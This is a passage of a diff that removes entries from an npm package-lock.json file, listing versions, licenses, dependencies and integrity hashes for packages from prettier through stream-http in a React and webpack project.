- "integrity": "sha512-i2tDNA0O5IrMO757lfrdQZCc2jPNDVntV0m/+4whiDfWaTKfMNgR7Qz0NAeGz/nRqF4m5/6CLzbP4/liHt12Ew==",
- "dev": true,
- "license": "MIT",
- "bin": {
- "prettier": "bin/prettier.cjs"
- },
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/prettier/prettier?sponsor=1"
- }
- },
- "node_modules/prettier-linter-helpers": {
- "version": "1.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "fast-diff": "^1.1.2"
- },
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/prettier-plugin-tailwindcss": {
- "version": "0.6.8",
- "resolved": "https://registry.npmjs.org/prettier-plugin-tailwindcss/-/prettier-plugin-tailwindcss-0.6.8.tgz",
- "integrity": "sha512-dGu3kdm7SXPkiW4nzeWKCl3uoImdd5CTZEJGxyypEPL37Wj0HT2pLqjrvSei1nTeuQfO4PUfjeW5cTUNRLZ4sA==",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=14.21.3"
- },
- "peerDependencies": {
- "@ianvs/prettier-plugin-sort-imports": "*",
- "@prettier/plugin-pug": "*",
- "@shopify/prettier-plugin-liquid": "*",
- "@trivago/prettier-plugin-sort-imports": "*",
- "@zackad/prettier-plugin-twig-melody": "*",
- "prettier": "^3.0",
- "prettier-plugin-astro": "*",
- "prettier-plugin-css-order": "*",
- "prettier-plugin-import-sort": "*",
- "prettier-plugin-jsdoc": "*",
- "prettier-plugin-marko": "*",
- "prettier-plugin-multiline-arrays": "*",
- "prettier-plugin-organize-attributes": "*",
- "prettier-plugin-organize-imports": "*",
- "prettier-plugin-sort-imports": "*",
- "prettier-plugin-style-order": "*",
- "prettier-plugin-svelte": "*"
- },
- "peerDependenciesMeta": {
- "@ianvs/prettier-plugin-sort-imports": {
- "optional": true
- },
- "@prettier/plugin-pug": {
- "optional": true
- },
- "@shopify/prettier-plugin-liquid": {
- "optional": true
- },
- "@trivago/prettier-plugin-sort-imports": {
- "optional": true
- },
- "@zackad/prettier-plugin-twig-melody": {
- "optional": true
- },
- "prettier-plugin-astro": {
- "optional": true
- },
- "prettier-plugin-css-order": {
- "optional": true
- },
- "prettier-plugin-import-sort": {
- "optional": true
- },
- "prettier-plugin-jsdoc": {
- "optional": true
- },
- "prettier-plugin-marko": {
- "optional": true
- },
- "prettier-plugin-multiline-arrays": {
- "optional": true
- },
- "prettier-plugin-organize-attributes": {
- "optional": true
- },
- "prettier-plugin-organize-imports": {
- "optional": true
- },
- "prettier-plugin-sort-imports": {
- "optional": true
- },
- "prettier-plugin-style-order": {
- "optional": true
- },
- "prettier-plugin-svelte": {
- "optional": true
- }
- }
- },
- "node_modules/pretty-format": {
- "version": "29.7.0",
- "license": "MIT",
- "dependencies": {
- "@jest/schemas": "^29.6.3",
- "ansi-styles": "^5.0.0",
- "react-is": "^18.0.0"
- },
- "engines": {
- "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
- }
- },
- "node_modules/pretty-format/node_modules/ansi-styles": {
- "version": "5.2.0",
- "license": "MIT",
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/pretty-format/node_modules/react-is": {
- "version": "18.3.1",
- "license": "MIT"
- },
- "node_modules/process": {
- "version": "0.11.10",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">= 0.6.0"
- }
- },
- "node_modules/process-nextick-args": {
- "version": "2.0.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/promise-inflight": {
- "version": "1.0.1",
- "license": "ISC",
- "peer": true
- },
- "node_modules/prop-types": {
- "version": "15.8.1",
- "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
- "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==",
- "license": "MIT",
- "dependencies": {
- "loose-envify": "^1.4.0",
- "object-assign": "^4.1.1",
- "react-is": "^16.13.1"
- }
- },
- "node_modules/proxy-from-env": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
- "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
- },
- "node_modules/prr": {
- "version": "1.0.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/psl": {
- "version": "1.9.0",
- "license": "MIT"
- },
- "node_modules/public-encrypt": {
- "version": "4.0.3",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "bn.js": "^4.1.0",
- "browserify-rsa": "^4.0.0",
- "create-hash": "^1.1.0",
- "parse-asn1": "^5.0.0",
- "randombytes": "^2.0.1",
- "safe-buffer": "^5.1.2"
- }
- },
- "node_modules/public-encrypt/node_modules/bn.js": {
- "version": "4.12.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/pump": {
- "version": "3.0.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "end-of-stream": "^1.1.0",
- "once": "^1.3.1"
- }
- },
- "node_modules/pumpify": {
- "version": "1.5.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "duplexify": "^3.6.0",
- "inherits": "^2.0.3",
- "pump": "^2.0.0"
- }
- },
- "node_modules/pumpify/node_modules/pump": {
- "version": "2.0.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "end-of-stream": "^1.1.0",
- "once": "^1.3.1"
- }
- },
- "node_modules/punycode": {
- "version": "2.3.1",
- "license": "MIT",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/qs": {
- "version": "6.12.3",
- "license": "BSD-3-Clause",
- "peer": true,
- "dependencies": {
- "side-channel": "^1.0.6"
- },
- "engines": {
- "node": ">=0.6"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/query-string": {
- "version": "9.1.1",
- "resolved": "https://registry.npmjs.org/query-string/-/query-string-9.1.1.tgz",
- "integrity": "sha512-MWkCOVIcJP9QSKU52Ngow6bsAWAPlPK2MludXvcrS2bGZSl+T1qX9MZvRIkqUIkGLJquMJHWfsT6eRqUpp4aWg==",
- "dependencies": {
- "decode-uri-component": "^0.4.1",
- "filter-obj": "^5.1.0",
- "split-on-first": "^3.0.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/query-string/node_modules/decode-uri-component": {
- "version": "0.4.1",
- "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.4.1.tgz",
- "integrity": "sha512-+8VxcR21HhTy8nOt6jf20w0c9CADrw1O8d+VZ/YzzCt4bJ3uBjw+D1q2osAB8RnpwwaeYBxy0HyKQxD5JBMuuQ==",
- "engines": {
- "node": ">=14.16"
- }
- },
- "node_modules/querystring-es3": {
- "version": "0.2.1",
- "peer": true,
- "engines": {
- "node": ">=0.4.x"
- }
- },
- "node_modules/querystringify": {
- "version": "2.2.0",
- "license": "MIT"
- },
- "node_modules/queue-microtask": {
- "version": "1.2.3",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "license": "MIT"
- },
- "node_modules/randombytes": {
- "version": "2.1.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "safe-buffer": "^5.1.0"
- }
- },
- "node_modules/randomfill": {
- "version": "1.0.4",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "randombytes": "^2.0.5",
- "safe-buffer": "^5.1.0"
- }
- },
- "node_modules/raw-loader": {
- "version": "2.0.0",
- "license": "MIT",
- "dependencies": {
- "loader-utils": "^1.1.0",
- "schema-utils": "^1.0.0"
- },
- "engines": {
- "node": ">= 6.9.0"
- },
- "peerDependencies": {
- "webpack": "^4.3.0"
- }
- },
- "node_modules/react": {
- "version": "18.3.1",
- "license": "MIT",
- "dependencies": {
- "loose-envify": "^1.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/react-clientside-effect": {
- "version": "1.2.6",
- "license": "MIT",
- "dependencies": {
- "@babel/runtime": "^7.12.13"
- },
- "peerDependencies": {
- "react": "^15.3.0 || ^16.0.0 || ^17.0.0 || ^18.0.0"
- }
- },
- "node_modules/react-dom": {
- "version": "18.3.1",
- "license": "MIT",
- "dependencies": {
- "loose-envify": "^1.1.0",
- "scheduler": "^0.23.2"
- },
- "peerDependencies": {
- "react": "^18.3.1"
- }
- },
- "node_modules/react-fast-compare": {
- "version": "3.2.2",
- "license": "MIT"
- },
- "node_modules/react-focus-lock": {
- "version": "2.12.1",
- "license": "MIT",
- "dependencies": {
- "@babel/runtime": "^7.0.0",
- "focus-lock": "^1.3.5",
- "prop-types": "^15.6.2",
- "react-clientside-effect": "^1.2.6",
- "use-callback-ref": "^1.3.2",
- "use-sidecar": "^1.1.2"
- },
- "peerDependencies": {
- "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/react-icons": {
- "version": "5.3.0",
- "resolved": "https://registry.npmjs.org/react-icons/-/react-icons-5.3.0.tgz",
- "integrity": "sha512-DnUk8aFbTyQPSkCfF8dbX6kQjXA9DktMeJqfjrg6cK9vwQVMxmcA3BfP4QoiztVmEHtwlTgLFsPuH2NskKT6eg==",
- "peerDependencies": {
- "react": "*"
- }
- },
- "node_modules/react-is": {
- "version": "16.13.1",
- "license": "MIT"
- },
- "node_modules/react-remove-scroll": {
- "version": "2.6.0",
- "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.6.0.tgz",
- "integrity": "sha512-I2U4JVEsQenxDAKaVa3VZ/JeJZe0/2DxPWL8Tj8yLKctQJQiZM52pn/GWFpSp8dftjM3pSAHVJZscAnC/y+ySQ==",
- "dependencies": {
- "react-remove-scroll-bar": "^2.3.6",
- "react-style-singleton": "^2.2.1",
- "tslib": "^2.1.0",
- "use-callback-ref": "^1.3.0",
- "use-sidecar": "^1.1.2"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/react-remove-scroll-bar": {
- "version": "2.3.6",
- "license": "MIT",
- "dependencies": {
- "react-style-singleton": "^2.2.1",
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/react-responsive": {
- "version": "10.0.0",
- "license": "MIT",
- "dependencies": {
- "hyphenate-style-name": "^1.0.0",
- "matchmediaquery": "^0.4.2",
- "prop-types": "^15.6.1",
- "shallow-equal": "^3.1.0"
- },
- "engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "react": ">=16.8.0"
- }
- },
- "node_modules/react-slick": {
- "version": "0.30.2",
- "license": "MIT",
- "dependencies": {
- "classnames": "^2.2.5",
- "enquire.js": "^2.1.6",
- "json2mq": "^0.2.0",
- "lodash.debounce": "^4.0.8",
- "resize-observer-polyfill": "^1.5.0"
- },
- "peerDependencies": {
- "react": "^0.14.0 || ^15.0.1 || ^16.0.0 || ^17.0.0 || ^18.0.0",
- "react-dom": "^0.14.0 || ^15.0.1 || ^16.0.0 || ^17.0.0 || ^18.0.0"
- }
- },
- "node_modules/react-style-singleton": {
- "version": "2.2.1",
- "license": "MIT",
- "dependencies": {
- "get-nonce": "^1.0.0",
- "invariant": "^2.2.4",
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/read-cache": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "pify": "^2.3.0"
- }
- },
- "node_modules/readable-stream": {
- "version": "2.3.8",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
- }
- },
- "node_modules/readable-stream/node_modules/safe-buffer": {
- "version": "5.1.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/readable-stream/node_modules/string_decoder": {
- "version": "1.1.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "safe-buffer": "~5.1.0"
- }
- },
- "node_modules/readdirp": {
- "version": "3.6.0",
- "license": "MIT",
- "dependencies": {
- "picomatch": "^2.2.1"
- },
- "engines": {
- "node": ">=8.10.0"
- }
- },
- "node_modules/reflect.getprototypeof": {
- "version": "1.0.6",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.1",
- "es-errors": "^1.3.0",
- "get-intrinsic": "^1.2.4",
- "globalthis": "^1.0.3",
- "which-builtin-type": "^1.1.3"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/regenerator-runtime": {
- "version": "0.14.1",
- "license": "MIT"
- },
- "node_modules/regex-not": {
- "version": "1.0.2",
- "license": "MIT",
- "dependencies": {
- "extend-shallow": "^3.0.2",
- "safe-regex": "^1.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/regexp.prototype.flags": {
- "version": "1.5.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.6",
- "define-properties": "^1.2.1",
- "es-errors": "^1.3.0",
- "set-function-name": "^2.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/remove-trailing-separator": {
- "version": "1.1.0",
- "license": "ISC",
- "optional": true,
- "peer": true
- },
- "node_modules/repeat-element": {
- "version": "1.1.4",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/repeat-string": {
- "version": "1.6.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/replace-ext": {
- "version": "1.0.1",
- "license": "MIT",
- "engines": {
- "node": ">= 0.10"
- }
- },
- "node_modules/requires-port": {
- "version": "1.0.0",
- "license": "MIT"
- },
- "node_modules/resize-observer-polyfill": {
- "version": "1.5.1",
- "license": "MIT"
- },
- "node_modules/resolve": {
- "version": "1.22.8",
- "license": "MIT",
- "dependencies": {
- "is-core-module": "^2.13.0",
- "path-parse": "^1.0.7",
- "supports-preserve-symlinks-flag": "^1.0.0"
- },
- "bin": {
- "resolve": "bin/resolve"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/resolve-from": {
- "version": "4.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/resolve-url": {
- "version": "0.2.1",
- "license": "MIT"
- },
- "node_modules/restore-cursor": {
- "version": "5.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "onetime": "^7.0.0",
- "signal-exit": "^4.1.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/restore-cursor/node_modules/onetime": {
- "version": "7.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "mimic-function": "^5.0.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/ret": {
- "version": "0.1.15",
- "license": "MIT",
- "engines": {
- "node": ">=0.12"
- }
- },
- "node_modules/retry": {
- "version": "0.13.1",
- "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz",
- "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==",
- "engines": {
- "node": ">= 4"
- }
- },
- "node_modules/reusify": {
- "version": "1.0.4",
- "license": "MIT",
- "engines": {
- "iojs": ">=1.0.0",
- "node": ">=0.10.0"
- }
- },
- "node_modules/rfdc": {
- "version": "1.4.1",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/rimraf": {
- "version": "2.7.1",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "glob": "^7.1.3"
- },
- "bin": {
- "rimraf": "bin.js"
- }
- },
- "node_modules/ripemd160": {
- "version": "2.0.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "hash-base": "^3.0.0",
- "inherits": "^2.0.1"
- }
- },
- "node_modules/run-parallel": {
- "version": "1.2.0",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "queue-microtask": "^1.2.2"
- }
- },
- "node_modules/run-queue": {
- "version": "1.0.3",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "aproba": "^1.1.1"
- }
- },
- "node_modules/safe-array-concat": {
- "version": "1.1.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "get-intrinsic": "^1.2.4",
- "has-symbols": "^1.0.3",
- "isarray": "^2.0.5"
- },
- "engines": {
- "node": ">=0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/safe-array-concat/node_modules/isarray": {
- "version": "2.0.5",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/safe-buffer": {
- "version": "5.2.1",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "license": "MIT",
- "peer": true
- },
- "node_modules/safe-regex": {
- "version": "1.1.0",
- "license": "MIT",
- "dependencies": {
- "ret": "~0.1.10"
- }
- },
- "node_modules/safe-regex-test": {
- "version": "1.0.3",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.6",
- "es-errors": "^1.3.0",
- "is-regex": "^1.1.4"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/safer-buffer": {
- "version": "2.1.2",
- "license": "MIT"
- },
- "node_modules/saxes": {
- "version": "6.0.0",
- "license": "ISC",
- "dependencies": {
- "xmlchars": "^2.2.0"
- },
- "engines": {
- "node": ">=v12.22.7"
- }
- },
- "node_modules/scheduler": {
- "version": "0.23.2",
- "license": "MIT",
- "dependencies": {
- "loose-envify": "^1.1.0"
- }
- },
- "node_modules/schema-utils": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "ajv": "^6.1.0",
- "ajv-errors": "^1.0.0",
- "ajv-keywords": "^3.1.0"
- },
- "engines": {
- "node": ">= 4"
- }
- },
- "node_modules/semver": {
- "version": "6.3.1",
- "license": "ISC",
- "bin": {
- "semver": "bin/semver.js"
- }
- },
- "node_modules/serialize-javascript": {
- "version": "4.0.0",
- "license": "BSD-3-Clause",
- "peer": true,
- "dependencies": {
- "randombytes": "^2.1.0"
- }
- },
- "node_modules/set-function-length": {
- "version": "1.2.2",
- "license": "MIT",
- "dependencies": {
- "define-data-property": "^1.1.4",
- "es-errors": "^1.3.0",
- "function-bind": "^1.1.2",
- "get-intrinsic": "^1.2.4",
- "gopd": "^1.0.1",
- "has-property-descriptors": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/set-function-name": {
- "version": "2.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "define-data-property": "^1.1.4",
- "es-errors": "^1.3.0",
- "functions-have-names": "^1.2.3",
- "has-property-descriptors": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/set-value": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "extend-shallow": "^2.0.1",
- "is-extendable": "^0.1.1",
- "is-plain-object": "^2.0.3",
- "split-string": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/set-value/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/set-value/node_modules/is-extendable": {
- "version": "0.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/setimmediate": {
- "version": "1.0.5",
- "license": "MIT",
- "peer": true
- },
- "node_modules/sha.js": {
- "version": "2.4.11",
- "license": "(MIT AND BSD-3-Clause)",
- "peer": true,
- "dependencies": {
- "inherits": "^2.0.1",
- "safe-buffer": "^5.0.1"
- },
- "bin": {
- "sha.js": "bin.js"
- }
- },
- "node_modules/shallow-equal": {
- "version": "3.1.0",
- "license": "MIT"
- },
- "node_modules/shebang-command": {
- "version": "2.0.0",
- "license": "MIT",
- "dependencies": {
- "shebang-regex": "^3.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/shebang-regex": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/side-channel": {
- "version": "1.0.6",
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "es-errors": "^1.3.0",
- "get-intrinsic": "^1.2.4",
- "object-inspect": "^1.13.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/signal-exit": {
- "version": "4.1.0",
- "license": "ISC",
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/simple-swizzle": {
- "version": "0.2.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "is-arrayish": "^0.3.1"
- }
- },
- "node_modules/simple-swizzle/node_modules/is-arrayish": {
- "version": "0.3.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/slash": {
- "version": "1.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/slice-ansi": {
- "version": "5.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^6.0.0",
- "is-fullwidth-code-point": "^4.0.0"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/slice-ansi?sponsor=1"
- }
- },
- "node_modules/slice-ansi/node_modules/ansi-styles": {
- "version": "6.2.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/slice-ansi/node_modules/is-fullwidth-code-point": {
- "version": "4.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/slick-carousel": {
- "version": "1.8.1",
- "license": "MIT",
- "peerDependencies": {
- "jquery": ">=1.8.0"
- }
- },
- "node_modules/snapdragon": {
- "version": "0.8.2",
- "license": "MIT",
- "dependencies": {
- "base": "^0.11.1",
- "debug": "^2.2.0",
- "define-property": "^0.2.5",
- "extend-shallow": "^2.0.1",
- "map-cache": "^0.2.2",
- "source-map": "^0.5.6",
- "source-map-resolve": "^0.5.0",
- "use": "^3.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/snapdragon-node": {
- "version": "2.1.1",
- "license": "MIT",
- "dependencies": {
- "define-property": "^1.0.0",
- "isobject": "^3.0.0",
- "snapdragon-util": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/snapdragon-node/node_modules/define-property": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "is-descriptor": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/snapdragon-util": {
- "version": "3.0.1",
- "license": "MIT",
- "dependencies": {
- "kind-of": "^3.2.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/snapdragon-util/node_modules/kind-of": {
- "version": "3.2.2",
- "license": "MIT",
- "dependencies": {
- "is-buffer": "^1.1.5"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/snapdragon/node_modules/debug": {
- "version": "2.6.9",
- "license": "MIT",
- "dependencies": {
- "ms": "2.0.0"
- }
- },
- "node_modules/snapdragon/node_modules/define-property": {
- "version": "0.2.5",
- "license": "MIT",
- "dependencies": {
- "is-descriptor": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/snapdragon/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/snapdragon/node_modules/is-descriptor": {
- "version": "0.1.7",
- "license": "MIT",
- "dependencies": {
- "is-accessor-descriptor": "^1.0.1",
- "is-data-descriptor": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/snapdragon/node_modules/is-extendable": {
- "version": "0.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/snapdragon/node_modules/ms": {
- "version": "2.0.0",
- "license": "MIT"
- },
- "node_modules/source-list-map": {
- "version": "2.0.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/source-map": {
- "version": "0.5.7",
- "license": "BSD-3-Clause",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/source-map-js": {
- "version": "1.2.0",
- "license": "BSD-3-Clause",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/source-map-resolve": {
- "version": "0.5.3",
- "license": "MIT",
- "dependencies": {
- "atob": "^2.1.2",
- "decode-uri-component": "^0.2.0",
- "resolve-url": "^0.2.1",
- "source-map-url": "^0.4.0",
- "urix": "^0.1.0"
- }
- },
- "node_modules/source-map-support": {
- "version": "0.5.21",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "buffer-from": "^1.0.0",
- "source-map": "^0.6.0"
- }
- },
- "node_modules/source-map-support/node_modules/source-map": {
- "version": "0.6.1",
- "license": "BSD-3-Clause",
- "peer": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/source-map-url": {
- "version": "0.4.1",
- "license": "MIT"
- },
- "node_modules/split-on-first": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/split-on-first/-/split-on-first-3.0.0.tgz",
- "integrity": "sha512-qxQJTx2ryR0Dw0ITYyekNQWpz6f8dGd7vffGNflQQ3Iqj9NJ6qiZ7ELpZsJ/QBhIVAiDfXdag3+Gp8RvWa62AA==",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/split-string": {
- "version": "3.1.0",
- "license": "MIT",
- "dependencies": {
- "extend-shallow": "^3.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/ssri": {
- "version": "6.0.2",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "figgy-pudding": "^3.5.1"
- }
- },
- "node_modules/stack-utils": {
- "version": "2.0.6",
- "license": "MIT",
- "dependencies": {
- "escape-string-regexp": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/stack-utils/node_modules/escape-string-regexp": {
- "version": "2.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/static-extend": {
- "version": "0.1.2",
- "license": "MIT",
- "dependencies": {
- "define-property": "^0.2.5",
- "object-copy": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/static-extend/node_modules/define-property": {
- "version": "0.2.5",
- "license": "MIT",
- "dependencies": {
- "is-descriptor": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/static-extend/node_modules/is-descriptor": {
- "version": "0.1.7",
- "license": "MIT",
- "dependencies": {
- "is-accessor-descriptor": "^1.0.1",
- "is-data-descriptor": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/stream-browserify": {
- "version": "2.0.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "inherits": "~2.0.1",
- "readable-stream": "^2.0.2"
- }
- },
- "node_modules/stream-each": {
- "version": "1.2.3",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "end-of-stream": "^1.1.0",
- "stream-shift": "^1.0.0"
- }
- },
- "node_modules/stream-http": {
- "version": "2.8.3",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "builtin-status-codes": "^3.0.0",
- "inherits": "^2.0.1",
